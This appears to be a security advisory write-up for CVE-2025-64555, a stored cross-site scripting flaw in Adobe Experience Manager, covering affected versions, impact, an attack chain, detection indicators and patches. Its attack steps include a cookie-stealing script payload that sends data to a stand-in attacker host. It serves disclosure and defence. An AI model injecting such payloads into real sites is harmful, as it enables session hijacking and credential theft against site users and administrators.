CVE-2025-64555: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64555 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and operates with a changed scope, meaning the impact can extend beyond the originating application context. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exfiltration of sensitive data accessible within the AEM environment. The changed scope means the injected script can affect resources beyond the attacker's own session, including those of higher-privileged users such as administrators. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Adobe Advisory, Feedly).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public-facing login pages.
2. Obtain low-privileged access: Authenticate to the AEM instance using a low-privileged user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — such as text input fields in editable templates or content fragments.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser.
6. Achieve objective: Harvest session cookies, perform unauthorized actions on behalf of the victim, or pivot to further compromise the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript payloads stored within AEM JCR (Java Content Repository) nodes, particularly in text or rich-text properties of content pages or components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Logs: Browser-side console errors or AEM error logs indicating unexpected script execution or Content Security Policy (CSP) violations triggered by stored content.

Adobe has released patches addressing CVE-2025-64555 in AEM 6.5 Service Pack 24 (version 6.5.24.0) and AEM Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restricting content authoring permissions to trusted users only and enabling a strict Content Security Policy (CSP) can reduce the risk of exploitation. Administrators should also audit existing AEM content for unexpected script injections in form fields and rich-text components (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion has been identified for this specific CVE.